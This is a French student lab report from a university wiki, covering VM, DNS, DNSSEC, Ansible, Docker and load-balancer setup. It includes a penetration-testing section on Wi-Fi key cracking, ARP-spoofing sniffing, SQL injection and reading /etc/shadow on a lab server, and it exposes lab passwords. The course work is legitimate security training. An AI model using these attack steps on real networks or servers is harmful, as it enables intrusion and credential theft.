      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;br /&gt;
&lt;br /&gt;
===Equilibreur de charge===&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons un deuxième site dans /etc/apache2/sites-available que nous appelons site2calicedelamort.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
    &lt;br /&gt;
        ServerAdmin paulLeCannard  &lt;br /&gt;
                                                                                                                                                                                             &lt;br /&gt;
        ProxyPass / http://192.168.42.9:8089                                                                                      &lt;br /&gt;
        ProxyPassReverse / http://192.168.42.9:8089&lt;br /&gt;
                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier /etc/bind/db.calicedelamort.site pour y ajouter cette ligne :&lt;br /&gt;
&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
&lt;br /&gt;
On installe les paquets manquants :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
On active notre 2ème site, puis on redémarre bind9 et apache2 :&lt;br /&gt;
&lt;br /&gt;
 a2ensite site2calicedelamort.conf&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Notre deuxième site est maintenant accessible via reverse.calicedelamort.site, cependant il n'est disponible que sur notre VM chassiron (192.168.42.9)&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons maintenant le rendre accessible sur toutes les VM chassiron, nous utilisons donc un Load Balancer.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on installe les paquetages nécessaires :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis, on modifie le fichier de configuration de notre site /etc/apache2/sites-available/site2calicedelamort.site, et on y ajoute un système d'équilibrage de charges :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;   &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
        ServerAdmin paulLeCannard&lt;br /&gt;
&lt;br /&gt;
        &amp;lt;Proxy &amp;quot;balancer://macrondemission&amp;quot;&amp;gt;&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.2:8089&amp;quot; route=1&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.4:8089&amp;quot; route=2&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.5:8089&amp;quot; route=3&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.7:8089&amp;quot; route=4&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.9:8089&amp;quot; route=5&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.12:8089&amp;quot; route=6&lt;br /&gt;
                ProxySet lbmethod=byrequests&lt;br /&gt;
        &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ProxyPass / balancer://macrondemission/&lt;br /&gt;
        ProxyPassReverse / balancer://macrondemission/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55181</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55181"/>
				<updated>2020-12-22T14:45:12Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
